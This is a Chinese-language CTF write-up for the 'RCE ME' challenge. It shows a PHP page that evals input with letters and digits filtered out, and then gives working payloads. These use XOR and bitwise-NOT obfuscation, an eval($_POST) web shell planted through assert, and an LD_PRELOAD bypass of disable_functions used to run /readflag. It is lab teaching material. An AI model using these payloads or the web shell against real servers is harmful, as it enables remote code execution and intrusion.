-
index.php
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
-
code
中不能含有字母和数字,用符号构造phpinfo
p: ]^- h: (^@ p: ]^- i: )^@ n: .^@ f: ;^] o: /^@ '](]).;/'^'-@-@@]@';$_();
执行成功,但是长度受限,难以进行下一步的构造,并且,这种方式不能构造出来
a
,所以放弃这个思路 -
取反
urlencode(~"phpinfo") = %8F%97%8F%96%91%99%90 (~%8F%97%8F%96%91%99%90)(); // phpinfo();
可行。
继续构造
scandir, print_r
urlencode(~"scandir") = %8C%9C%9E%91%9B%96%8D (~%8C%9C%9E%91%9B%96%8D)('.'); //scandir(); urlencode(~"print_r") = %8F%8D%96%91%8B%A0%8D (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)('/'));
结果:
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => readflag [16] => root [17] => run [18] => sbin [19] => srv [20] => sys [21] => tmp [22] => usr [23] => var )
可以看到根目录下有
readflag, flag
,应该是要执行/readflag
才能得flag
。 -
查看
disable_functions
,系统命令执行函数全部被ban
了,并且有base_dir
的限制。所以,下一步需要做的就是绕过disable_fuctions
和base_dir
考虑用
LD_PRELOAD + putenv
来绕过限制。file_put_contents
在这里写文件不太可行,于是找了一个小马:http://d9239bed-5916-4069-be5c-194cf46cbe4b.node3.buuoj.cn/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
蚁剑连
shell
。关于
LD_PRELOAD + putenv
可以参考:https://www.anquanke.com/post/id/175403网上看到一个工具,直接用就好了(偷个懒):https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
注意:我们只能够在
tmp
目录下上传文件,最后的payload
:http://d9239bed-5916-4069-be5c-194cf46cbe4b.node3.buuoj.cn/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/res.txt&sopath=/tmp/bypass_disablefunc_x64.so
RCE ME
最新推荐文章于 2021-09-09 00:36:02 发布